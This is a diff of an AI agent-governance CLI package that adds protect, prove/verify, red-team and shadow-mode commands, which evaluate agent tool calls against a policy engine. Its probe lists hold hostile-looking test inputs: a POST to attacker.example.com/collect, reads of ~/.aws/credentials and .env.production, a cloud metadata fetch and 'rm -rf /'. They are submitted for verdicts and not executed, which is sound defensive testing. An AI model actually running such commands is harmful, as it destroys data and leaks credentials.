@cirvix_ai/agent-control 0.1.3 → 0.2.0

package/src/commands/protect.mjs

@@ -0,0 +1,293 @@
+/**
+ * `cirvix protect <path>` — the command the product is named for.
+ *
+ * Seven stages, in the order a security engineer would actually work:
+ *
+ *   DISCOVER   what runtimes and frameworks are on this machine
+ *   IDENTIFY   which agent this is, and what it is allowed to be
+ *   ANALYZE    what it can currently reach that it should not
+ *   POLICY     the rules that will govern it, loaded or written
+ *   RISK       the aggregate, derived from the findings above
+ *   ENFORCE    real calls through the real pipeline, real verdicts
+ *   AUDIT      the chain those decisions were written to
+ *
+ * EVERY LINE IS A MEASURED RESULT.
+ *
+ * This is the whole discipline of the file and it is the part that is normally
+ * faked. Nothing here prints a number it did not compute. The ENFORCE stage in
+ * particular does not describe what the policy would do — it submits genuine
+ * tool calls to a genuine `Pipeline` over the rules just loaded, and prints the
+ * verdicts that came back. If the policy changes, the output changes. If the
+ * engine gets slower, the latency on screen goes up.
+ *
+ * `cirvix runtime` used to print "Agents 1 detected · 0 blocked · 0 approvals"
+ * as string literals. They happened to be true at startup, which is exactly
+ * what makes that kind of line dangerous: it reads as measurement, it survives
+ * review, and it is wrong the moment anything happens. Those are now computed
+ * (see bin/cirvix.mjs) and nothing in this file was allowed to repeat it.
+ *
+ * WHAT THIS COMMAND DOES NOT CLAIM. It does not leave a daemon running.
+ * Protection at runtime is `cirvix runtime` and `cirvix gateway`; this command
+ * establishes the policy, proves it decides correctly against real calls, and
+ * says plainly which command to run next. Printing "PROTECTION ACTIVE" and
+ * exiting would be a claim that ends with the process.
+ */
+
+import { mkdir } from "node:fs/promises";
+import { join } from "node:path";
+
+import { AuditChain } from "../core/audit.mjs";
+import { Pipeline } from "../core/pipeline.mjs";
+import { DECISION } from "../core/decisions.mjs";
+import { RISK, RISK_ORDER, riskRank } from "../core/risk.mjs";
+import { detectRuntimes, detectFrameworks, collectMcpServers, detectCredentials } from "../core/detect.mjs";
+import { bold, dim, green, red, amber, cyan, gray, isInteractive, plural } from "../core/format.mjs";
+import { brandHeader, panel, separator } from "../core/ui/primitives.mjs";
+import { shouldAnimate, sleep } from "../core/ui/controller.mjs";
+
+/**
+ * The probes the ENFORCE stage runs.
+ *
+ * Chosen to cover the four decisions the engine can reach, so the output shows
+ * the allow path beside the deny path. A tool that only ever prints DENY is
+ * indistinguishable from one that is broken shut, and the claim worth proving
+ * is that ordinary work is untouched.
+ *
+ * These are REAL submissions. Nothing is executed — the pipeline decides before
+ * anything runs, which is the entire architecture — but the verdicts are the
+ * engine's, not this file's.
+ */
+const PROBES = [
+  {
+    // The allow probe. A tool that only ever prints DENY is indistinguishable
+    // from one that is broken shut, and "your agent keeps working" is the
+    // claim most worth proving. Under a default-deny starter policy with no
+    // permit rule this legitimately denies — and the summary says so rather
+    // than pretending otherwise.
+    label: "read a project file",
+    call: { tool: "read_file", arguments: { path: "README.md" } },
+  },
+  {
+    label: "read cloud credentials",
+    call: { tool: "read_file", arguments: { path: "~/.aws/credentials" } },
+  },
+  {
+    label: "post to an unknown host",
+    call: { tool: "http_request", arguments: { url: "https://attacker.example.com/collect", method: "POST" } },
+  },
+  {
+    label: "delete a tree",
+    call: { tool: "shell", arguments: { command: "rm -rf /" } },
+  },
+];
+
+const TICK = "✓";
+const CROSS = "✗";
+const DOT = "·";
+
+/**
+ * Runs the sequence.
+ *
+ * `rules` and `cwd` come from the caller so this shares one policy resolution
+ * with every other command — a protect that read policy differently from
+ * runtime would be measuring something the runtime will not enforce.
+ */
+export async function protect({
+  cwd = process.cwd(),
+  rules,
+  agent = "local",
+  environment = "local",
+  json = false,
+  pace = 90,
+  animate,
+  stateDir,
+  write = (s) => process.stdout.write(s),
+} = {}) {
+  const animated = shouldAnimate({ pace, json, force: animate });
+  const step = async (ms) => { if (animated) await sleep(ms); };
+  const out = json ? () => {} : write;
+
+  const started = Date.now();
+
+  /* ---------------------------------------------------------- 1. DISCOVER */
+  const runtimes = await detectRuntimes();
+  const frameworks = await detectFrameworks(cwd);
+  const servers = collectMcpServers(runtimes);
+
+  /* ---------------------------------------------------------- 2. ANALYZE  */
+  const credentials = await detectCredentials(cwd);
+  const ungoverned = runtimes.filter((r) => !r.governed);
+  const broadScope = servers.filter((s) => s.scope && s.scope.broad);
+
+  /* ----------------------------------------------------------- 3. POLICY  */
+  const ruleCount = Array.isArray(rules) ? rules.length : 0;
+
+  /* ------------------------------------------------------------- 4. RISK  */
+  // Derived, not asserted. Each input raises the floor; the aggregate is the
+  // highest floor reached, so a clean machine genuinely reports LOW.
+  let risk = RISK.LOW;
+  const raise = (level) => { if (riskRank(level) > riskRank(risk)) risk = level; };
+  if (frameworks.length) raise(RISK.MEDIUM);
+  if (ungoverned.length) raise(RISK.HIGH);
+  if (broadScope.length) raise(RISK.HIGH);
+  if (credentials.length) raise(RISK.HIGH);
+
+  /* ---------------------------------------------------------- 5. ENFORCE  */
+  const dir = stateDir || join(cwd, ".cirvix");
+  await mkdir(dir, { recursive: true }).catch(() => {});
+  /* AuditChain takes a PATH, not an options object — and passing `{ path }`
+     is how this was first written. The engine caught it rather than papering
+     over it: with the chain unwritable, the pipeline refused every call with
+     "A call with no audit record is a call nobody can account for", which is
+     the fail-closed rule working exactly as designed. Worth leaving a note,
+     because a denied call that looks like a policy decision but is actually a
+     broken recorder is the single most misleading output this command could
+     produce.
+
+     open() reads the tail so appends continue an existing chain rather than
+     forking a second one beside it. */
+  const chain = await new AuditChain(join(dir, "audit.jsonl")).open();
+
+  const pipeline = new Pipeline({
+    rules: rules ?? [],
+    cwd,
+    agent,
+    environment,
+    audit: chain,
+  });
+
+  const probes = [];
+  for (const p of PROBES) {
+    const { event } = await pipeline.submit(p.call);
+    probes.push({
+      label: p.label,
+      tool: event.tool,
+      action: event.action,
+      resource: event.resource,
+      decision: event.decision,
+      verdict: event.verdict,
+      policy: event.policy,
+      reason: event.reason,
+      risk: event.risk,
+      latencyMs: event.latency_ms,
+      decisionId: event.decision_id,
+    });
+  }
+
+  const blocked = probes.filter((p) => p.decision === DECISION.DENY).length;
+  const held = probes.filter((p) => p.decision === DECISION.REQUIRE_APPROVAL).length;
+  const allowed = probes.filter((p) => p.decision === DECISION.ALLOW).length;
+
+  /* ------------------------------------------------------------ 6. AUDIT  */
+  const verdict = await chain.verify();
+  const audit = {
+    records: verdict.records ?? 0,
+    // INTACT only when verify() actually said so. Anything else — including a
+    // chain that could not be read — is reported as not intact, because "we
+    // could not check" and "it is fine" are different sentences.
+    intact: verdict.ok === true,
+    head: verdict.head ?? null,
+    reason: verdict.ok === true ? null : verdict.reason ?? null,
+  };
+
+  const result = {
+    protectedAt: new Date().toISOString(),
+    cwd,
+    agent,
+    environment,
+    elapsedMs: Date.now() - started,
+    discovered: {
+      runtimes: runtimes.map(({ servers: _s, ...r }) => r),
+      frameworks,
+      mcpServers: servers.length,
+    },
+    findings: {
+      ungovernedRuntimes: ungoverned.map((r) => r.label),
+      broadScopeServers: broadScope.map((s) => s.name ?? s.label),
+      credentialFiles: credentials.map(({ keys: _k, ...c }) => c),
+    },
+    policy: { rules: ruleCount },
+    risk,
+    enforcement: { probes, blocked, held, allowed },
+    audit,
+  };
+
+  if (json) return { result, output: JSON.stringify(result, null, 2) };
+
+  /* ------------------------------------------------------------- render  */
+  if (animated) out(brandHeader() + "\n");
+
+  const stage = async (name, detail, tone) => {
+    const mark = tone === "warn" ? amber(CROSS) : tone === "deny" ? red(CROSS) : green(TICK);
+    out(`  ${mark} ${bold(name.padEnd(9))} ${detail}\n`);
+    await step(pace);
+  };
+
+  out(`\n  ${bold("PROTECT")}  ${dim(cwd)}\n\n`);
+
+  await stage("DISCOVER", `${plural(runtimes.length, "runtime")}, ${plural(frameworks.length, "framework")}, ${plural(servers.length, "MCP server")}`);
+  await stage("IDENTIFY", `${cyan(agent)} ${dim("in")} ${cyan(environment)}`);
+
+  const analyzeBits = [];
+  if (ungoverned.length) analyzeBits.push(`${ungoverned.length} ungoverned`);
+  if (broadScope.length) analyzeBits.push(`${broadScope.length} broad-scope`);
+  if (credentials.length) analyzeBits.push(plural(credentials.length, "credential file"));
+  await stage(
+    "ANALYZE",
+    analyzeBits.length ? analyzeBits.join(`  ${DOT}  `) : dim("nothing reachable that should not be"),
+    analyzeBits.length ? "warn" : null,
+  );
+
+  await stage("POLICY", `${plural(ruleCount, "rule")} loaded`);
+  await stage(
+    "RISK",
+    risk === RISK.LOW ? green(risk.toUpperCase()) : risk === RISK.MEDIUM ? amber(risk.toUpperCase()) : red(risk.toUpperCase()),
+    risk === RISK.LOW ? null : "warn",
+  );
+
+  out(`\n  ${bold("ENFORCE")}  ${dim("real calls, real verdicts")}\n\n`);
+  for (const p of probes) {
+    const tone =
+      p.decision === DECISION.DENY ? red("DENY")
+      : p.decision === DECISION.REQUIRE_APPROVAL ? amber("HOLD")
+      : green("ALLOW");
+    out(`    ${tone.padEnd(16)} ${p.label.padEnd(28)} ${dim(p.policy || "no matching rule")} ${gray(p.latencyMs + "ms")}\n`);
+    await step(Math.round(pace * 0.6));
+  }
+
+  out(`\n  ${green(TICK)} ${bold("AUDIT".padEnd(9))} ${audit.records} ${audit.records === 1 ? "record" : "records"}, chain ${audit.intact ? green("intact") : red("BROKEN")}\n`);
+  if (!audit.intact && audit.reason) out(`    ${red(audit.reason)}\n`);
+  if (audit.head) out(`    ${dim(audit.head)}\n`);
+
+  out("\n");
+  out(
+    panel({
+      title: "CIRVIX",
+      lines: [
+        ["Risk", risk.toUpperCase()],
+        ["Rules", String(ruleCount)],
+        ["Blocked", `${blocked} of ${probes.length} probes`],
+        ["Held", String(held)],
+        ["Allowed", String(allowed)],
+        ["Audit", audit.intact ? `${audit.records} records, intact` : "CHAIN BROKEN"],
+      ].map(([k, v]) => `${k.padEnd(9)} ${v}`),
+    }) + "\n",
+  );
+
+  if (allowed === 0) {
+    /* Said out loud rather than left to be inferred from four DENY lines. A
+       policy that refuses everything is trivially secure and useless, and the
+       reader needs to know which of the two they are looking at. */
+    out(`\n  ${amber("Every probe was refused.")} ${dim("The active policy permits nothing yet — add a permit rule")}\n`);
+    out(`  ${dim("for the work this agent actually does, then run protect again.")}\n`);
+  }
+
+  /* The honest close. This command proved the policy decides correctly; it did
+     not leave anything running, and saying otherwise would be a claim that
+     ends when the process does. */
+  out(`\n  ${dim("Policy verified against real calls. Nothing is running yet.")}\n`);
+  out(`  ${dim("Start enforcement:")}  ${bold("cirvix runtime")}\n`);
+  out(`  ${dim("Govern an MCP server:")}  ${bold("cirvix gateway --servers <cmd>")}\n\n`);
+
+  return { result, output: "" };
+}

package/src/commands/prove.mjs

@@ -0,0 +1,209 @@
+/**
+ * `cirvix prove <decision-id>` and `cirvix verify <proof>`.
+ *
+ * prove  — finds the decision in the local audit chain, takes the segment that
+ *          covers it, and signs it.
+ * verify — checks a proof offline. No network, and no Cirvix.
+ *
+ * THE KEY. A workspace signs with a key it generates on first use and keeps in
+ * `.cirvix/proof-key.json` at 0600. That file is the whole security of a local
+ * proof, which is exactly why `verify` refuses to describe a locally-signed
+ * artifact as independent evidence: the holder of that key could sign a
+ * doctored history just as easily as a true one.
+ *
+ * The private half is never printed, never included in a proof, and never
+ * leaves the machine. Only the public half and the key id travel.
+ */
+
+import { mkdir, readFile, writeFile, chmod } from "node:fs/promises";
+import { join } from "node:path";
+
+import { AuditChain } from "../core/audit.mjs";
+import { buildProof, verifyProof, generateProofKeys, keyIdFor } from "../core/proof.mjs";
+import { bold, dim, green, red, amber, gray } from "../core/format.mjs";
+import { panel } from "../core/ui/primitives.mjs";
+
+const KEY_FILE = "proof-key.json";
+
+/**
+ * Loads this workspace's signing key, generating one on first use.
+ *
+ * 0600 because the file is the only thing standing between "this proof came
+ * from here" and "anyone who read the repo can mint one". chmod is
+ * best-effort: on Windows it is close to a no-op, which is a real limitation
+ * and is stated rather than hidden.
+ */
+export async function loadOrCreateKey(stateDir) {
+  const path = join(stateDir, KEY_FILE);
+  try {
+    const existing = JSON.parse(await readFile(path, "utf8"));
+    if (existing.privateKey && existing.publicKey) return { ...existing, created: false, path };
+  } catch {
+    /* absent or unreadable — generate below */
+  }
+  await mkdir(stateDir, { recursive: true });
+  const keys = generateProofKeys();
+  await writeFile(path, JSON.stringify(keys, null, 2), "utf8");
+  await chmod(path, 0o600).catch(() => {});
+  return { ...keys, created: true, path };
+}
+
+/**
+ * The segment a proof covers.
+ *
+ * Everything from the start of the chain up to and including the decision,
+ * because a link is only checkable against the record before it. Taking the
+ * single record would produce an artifact that proves the record hashes to
+ * itself and nothing about where it sits.
+ */
+function segmentFor(records, decisionId) {
+  const index = records.findIndex((r) => r.decision_id === decisionId || r.decisionId === decisionId);
+  if (index === -1) return null;
+  return records.slice(0, index + 1);
+}
+
+export async function prove({
+  decisionId,
+  cwd = process.cwd(),
+  stateDir = join(cwd, ".cirvix"),
+  policy = null,
+  json = false,
+  out = null,
+  write = (s) => process.stdout.write(s),
+} = {}) {
+  const chain = new AuditChain(join(stateDir, "audit.jsonl"));
+  const records = await chain.read();
+
+  if (!records.length) {
+    const err = { error: "no_audit_records", message: "There is no audit chain in this workspace yet." };
+    if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
+    write(`\n  ${red("No audit chain in this workspace.")}\n  ${dim("Run `cirvix protect` or `cirvix runtime` first.")}\n\n`);
+    return { result: err, exitCode: 1 };
+  }
+
+  const segment = segmentFor(records, decisionId);
+  if (!segment) {
+    const err = { error: "decision_not_found", message: `No decision "${decisionId}" in this chain.`, records: records.length };
+    if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
+    write(`\n  ${red(`No decision "${decisionId}" in this chain.`)}\n  ${dim(`${records.length} records searched. Try \`cirvix logs\`.`)}\n\n`);
+    return { result: err, exitCode: 1 };
+  }
+
+  const key = await loadOrCreateKey(stateDir);
+  const decision = segment[segment.length - 1];
+
+  const { token, payload } = buildProof({
+    privateKey: key.privateKey,
+    keyId: key.keyId,
+    issuer: "local",
+    decisionId,
+    records: segment,
+    policy,
+    agent: decision.agent ?? null,
+  });
+
+  if (out) await writeFile(out, token + "\n", "utf8");
+
+  const result = {
+    decisionId,
+    issuer: "local",
+    keyId: key.keyId,
+    records: segment.length,
+    chainHead: payload.chainHead,
+    issuedAt: payload.issuedAt,
+    writtenTo: out ?? null,
+    proof: token,
+  };
+  if (json) return { result, output: JSON.stringify(result, null, 2), exitCode: 0 };
+
+  write(`\n  ${bold("PROOF")}  ${dim(decisionId)}\n\n`);
+  write(
+    panel({
+      lines: [
+        `${"Issuer".padEnd(11)} local (this workspace)`,
+        `${"Key".padEnd(11)} ${key.keyId}`,
+        `${"Records".padEnd(11)} ${segment.length}`,
+        `${"Chain head".padEnd(11)} ${payload.chainHead.slice(0, 30)}…`,
+        `${"Issued".padEnd(11)} ${payload.issuedAt}`,
+      ],
+      width: 62,
+    }) + "\n",
+  );
+  if (out) write(`\n  ${green("✓")} written to ${bold(out)}\n`);
+  else write(`\n${gray(token)}\n`);
+  write(`\n  ${dim("Check it:")}  ${bold(`cirvix verify ${out ?? "<proof>"}`)}\n`);
+  /* Said here as well as in verify, because this is where someone decides
+     whether to send it to an auditor. */
+  write(`  ${dim("A local proof shows this workspace has not altered the artifact since")}\n`);
+  write(`  ${dim("signing. It is not independent evidence — the key that signed it lives here.")}\n\n`);
+  return { result, exitCode: 0 };
+}
+
+/* -------------------------------------------------------------------------- */
+
+export async function verify({
+  proof,
+  publicKey = null,
+  cwd = process.cwd(),
+  stateDir = join(cwd, ".cirvix"),
+  json = false,
+  write = (s) => process.stdout.write(s),
+} = {}) {
+  let token = String(proof ?? "").trim();
+  // A path or the artifact itself, because both are what people actually have.
+  if (token && !token.includes(".")) {
+    token = (await readFile(token, "utf8").catch(() => "")).trim();
+  } else if (token && token.length < 512) {
+    const fromFile = await readFile(proof, "utf8").catch(() => null);
+    if (fromFile) token = fromFile.trim();
+  }
+
+  let pub = publicKey;
+  if (!pub) {
+    // No key given: fall back to this workspace's own. That only ever verifies
+    // proofs this machine issued, which is the honest default — verifying
+    // someone else's proof requires their public key and should not silently
+    // appear to succeed without it.
+    try {
+      pub = JSON.parse(await readFile(join(stateDir, KEY_FILE), "utf8")).publicKey;
+    } catch {
+      const err = { verified: false, failed: "key", reason: "No public key given, and this workspace has none to fall back on." };
+      if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
+      write(`\n  ${red("No key to verify against.")}\n  ${dim("Pass --key <public-key.pem>.")}\n\n`);
+      return { result: err, exitCode: 1 };
+    }
+  } else if (!String(pub).includes("BEGIN")) {
+    pub = await readFile(pub, "utf8");
+  }
+
+  const result = verifyProof(pub, token);
+
+  if (json) return { result, output: JSON.stringify(result, null, 2), exitCode: result.verified ? 0 : 1 };
+
+  if (!result.verified) {
+    /* Which of the three checks failed, by name. "Invalid" tells an auditor
+       nothing they can act on; "the signature does not verify" and "the chain
+       breaks at record 4" lead to completely different investigations. */
+    write(`\n  ${red(bold("NOT VERIFIED"))}  ${dim("(" + result.failed + ")")}\n\n`);
+    write(`  ${result.reason}\n\n`);
+    return { result, exitCode: 1 };
+  }
+
+  write(`\n  ${green(bold("VERIFIED"))}  ${dim("signature · chain · integrity")}\n\n`);
+  write(
+    panel({
+      lines: [
+        `${"Decision".padEnd(11)} ${result.decisionId}`,
+        `${"Issuer".padEnd(11)} ${result.issuer}`,
+        `${"Key".padEnd(11)} ${result.keyId ?? "—"}`,
+        `${"Agent".padEnd(11)} ${result.agent ?? "—"}`,
+        `${"Records".padEnd(11)} ${result.records}`,
+        `${"Policy".padEnd(11)} ${String(result.policy?.hash ?? "—").slice(0, 30)}…`,
+        `${"Issued".padEnd(11)} ${result.issuedAt}`,
+      ],
+      width: 62,
+    }) + "\n",
+  );
+  write(`\n  ${result.issuer === "cirvix" ? green("●") : amber("●")} ${dim(result.attests)}\n\n`);
+  return { result, exitCode: 0 };
+}

package/src/commands/redteam.mjs

@@ -0,0 +1,51 @@
+/**
+ * Continuous Red Teaming CLI Command.
+ *
+ * Runs automated adversarial security attacks against the active policy set.
+ */
+
+import { Pipeline } from "../core/pipeline.mjs";
+import { runRedTeamSuite } from "../core/redteam/index.mjs";
+import { bold, dim, green, red, amber, cyan } from "../core/format.mjs";
+
+export async function executeRedTeamCommand({
+  rules = [],
+  plugins = null,
+  json = false,
+  cwd = process.cwd(),
+} = {}) {
+  const pipeline = new Pipeline({ rules, cwd });
+  const report = await runRedTeamSuite(pipeline, { plugins });
+
+  if (json) return { output: JSON.stringify(report, null, 2), code: report.testsBypassed > 0 ? 1 : 0 };
+
+  const tone = report.resilienceScore >= 90 ? green : report.resilienceScore >= 70 ? amber : red;
+
+  const lines = [
+    "",
+    `  ${bold("CIRVIX CONTINUOUS RED TEAMING REPORT")}`,
+    `  ${dim(`Execution timestamp: ${report.ranAt}`)}`,
+    "",
+    `  ${bold("Resilience Score:")} ${tone(bold(`${report.resilienceScore} / 100`))}`,
+    `  ${dim("Tests Passed / Blocked:")} ${green(`${report.testsBlocked}`)} / ${report.totalTests}`,
+    `  ${dim("Security Bypasses:")}     ${report.testsBypassed > 0 ? red(`${report.testsBypassed}`) : green("0")}`,
+    "",
+    `  ${bold("Attack Findings:")}`,
+    ...report.findings.map((f) => {
+      const statusIcon = f.blocked ? green("✓ BLOCKED") : red("✗ BYPASS");
+      return `    ${statusIcon} ${bold(f.vector)} — ${dim(f.decision ?? "ALLOW")} ${f.ruleTriggered ? dim(`(${f.ruleTriggered})`) : ""}`;
+    }),
+  ];
+
+  if (report.policyRecommendations?.length > 0) {
+    lines.push("");
+    lines.push(`  ${amber(bold("Recommended Remediation Policies:"))}`);
+    for (const rec of report.policyRecommendations) {
+      lines.push(`    ${cyan("+")} ${rec}`);
+    }
+  }
+
+  lines.push("");
+
+  return { output: lines.join("\n"), code: report.testsBypassed > 0 ? 1 : 0 };
+}

package/src/commands/scan.mjs

@@ -15,13 +15,13 @@ import {
   detectFrameworks,
   detectRuntimes,
 } from "../core/detect.mjs";
-import { bold, dim, green, red, amber, blue, plural } from "../core/format.mjs";
+import { bold, dim, green, red, amber, blue, cyan, plural } from "../core/format.mjs";
 
-export async function scan({ cwd = process.cwd(), json = false, deep = false, phase = async (_label, fn) => fn() } = {}) {
-  const runtimes = await phase("detecting agent runtimes", () => detectRuntimes(), (r) => `${r.length} found`);
-  const frameworks = await phase("detecting agent frameworks", () => detectFrameworks(cwd), (f) => (f.length ? `${f.length} found` : "none"));
-  const servers = await phase("collecting MCP servers", async () => collectMcpServers(runtimes), (s) => (s.length ? `${s.length} found` : "none"));
-  const credentials = await phase("scanning for exposed credentials", () => detectCredentials(cwd), (c) => (c.length ? `${c.length} found` : "none"));
+export async function scan({ cwd = process.cwd(), json = false, deep = false } = {}) {
+  const runtimes = await detectRuntimes();
+  const frameworks = await detectFrameworks(cwd);
+  const servers = collectMcpServers(runtimes);
+  const credentials = await detectCredentials(cwd);
 
   const findings = buildFindings({ runtimes, frameworks, servers, credentials });
   const counts = tally(findings);
@@ -53,7 +53,7 @@ function buildFindings({ runtimes, frameworks, servers, credentials }) {
         code: "runtime-ungoverned",
         subject: r.label,
         detail: `Tool calls from ${r.label} are not routed through a control plane. Anything it can reach, it can reach unchecked.`,
-        fix: `cirvix gateway --servers ${r.path}`,
+        fix: `cirvix init --apply (or: cirvix gateway --servers ${r.path})`,
       });
     }
   }
@@ -135,10 +135,12 @@ function render(r, { deep }) {
   L.push("");
 
   // Runtimes
-  L.push(`  ${bold("runtimes")}${dim(pad("", 12))}${r.runtimes.length ? plural(r.runtimes.length, "found") : dim("none detected")}`);
+  L.push(`  ${bold("runtimes")}${dim(pad("", 12))}${r.runtimes.length ? plural(r.runtimes.length, "runtime") : dim("none detected")}`);
   for (const rt of r.runtimes) {
     const state = rt.governed ? green("governed") : red("ungoverned");
-    L.push(`    ${pad(rt.label, 18)}${dim(shorten(rt.path))}`);
+    const level = rt.compatibilityLevel ?? (rt.governed ? "INTEGRATED" : "DISCOVERED");
+    const levelBadge = rt.governed ? cyan(`[${level}]`) : amber(`[${level}]`);
+    L.push(`    ${pad(rt.label, 18)}${levelBadge} ${dim(shorten(rt.path))}`);
     L.push(`    ${pad("", 18)}${state}${dim(` · ${plural(rt.serverCount, "MCP server")}`)}`);
   }
   if (r.frameworks.length) {

package/src/commands/shadow.mjs

@@ -0,0 +1,62 @@
+/**
+ * Shadow Mode CLI Command.
+ *
+ * Runs policy evaluation in shadow mode (observe & log hypothetical counterfactuals).
+ */
+
+import { ShadowEngine } from "../core/shadow.mjs";
+import { evaluate } from "../core/policy.mjs";
+import { bold, dim, green, red, amber, cyan } from "../core/format.mjs";
+
+export async function executeShadowCommand({
+  rules = [],
+  action = null,
+  resource = null,
+  json = false,
+  cwd = process.cwd(),
+} = {}) {
+  const engine = new ShadowEngine();
+
+  // Test sample candidate actions in shadow mode
+  const candidates = [
+    { action: "fs:read", resource: "src/index.ts", tool: "file_reader" },
+    { action: "fs:read", resource: ".env.production", tool: "file_reader" },
+    { action: "net:fetch", resource: "https://api.stripe.com/v1/charges", tool: "curl" },
+    { action: "net:fetch", resource: "http://169.254.169.254/latest/meta-data/", tool: "curl" },
+    { action: "exec:run", resource: "rm -rf /", tool: "bash" },
+  ];
+
+  if (action) {
+    candidates.length = 0;
+    candidates.push({ action, resource: resource ?? "", tool: "custom" });
+  }
+
+  for (const c of candidates) {
+    engine.evaluateShadow(c, (call) => evaluate(call, rules, { cwd }));
+  }
+
+  const summary = engine.getSummary();
+  if (json) return { output: JSON.stringify(summary, null, 2), code: 0 };
+
+  const lines = [
+    "",
+    `  ${bold("CIRVIX SHADOW MODE EVALUATION")}`,
+    `  ${dim("Non-blocking policy observation — live actions proceed without disruption")}`,
+    "",
+    `  ${bold("Summary:")}`,
+    `    ${dim("Total Observed:")}           ${summary.totalEvaluated}`,
+    `    ${green("●")} ${dim("Would Allow:")}              ${summary.wouldAllow}`,
+    `    ${red("●")} ${dim("Would Block:")}              ${summary.wouldBlock}`,
+    `    ${amber("●")} ${dim("Would Require Approval:")}   ${summary.wouldRequireApproval}`,
+    `    ${red("●")} ${dim("Would Quarantine:")}         ${summary.wouldQuarantine}`,
+    "",
+    `  ${bold("Observed Counterfactuals:")}`,
+    ...summary.logSnippet.map((s) => {
+      const tone = s.hypotheticalDecision === "ALLOW" ? green : s.hypotheticalDecision === "REQUIRE_APPROVAL" ? amber : red;
+      return `    ${tone(s.hypotheticalDecision.padEnd(16))} ${dim(s.call.action)} ${s.call.resource} ${dim(`[${s.ruleMatched ?? "default"}]`)}`;
+    }),
+    "",
+  ];
+
+  return { output: lines.join("\n"), code: 0 };
+}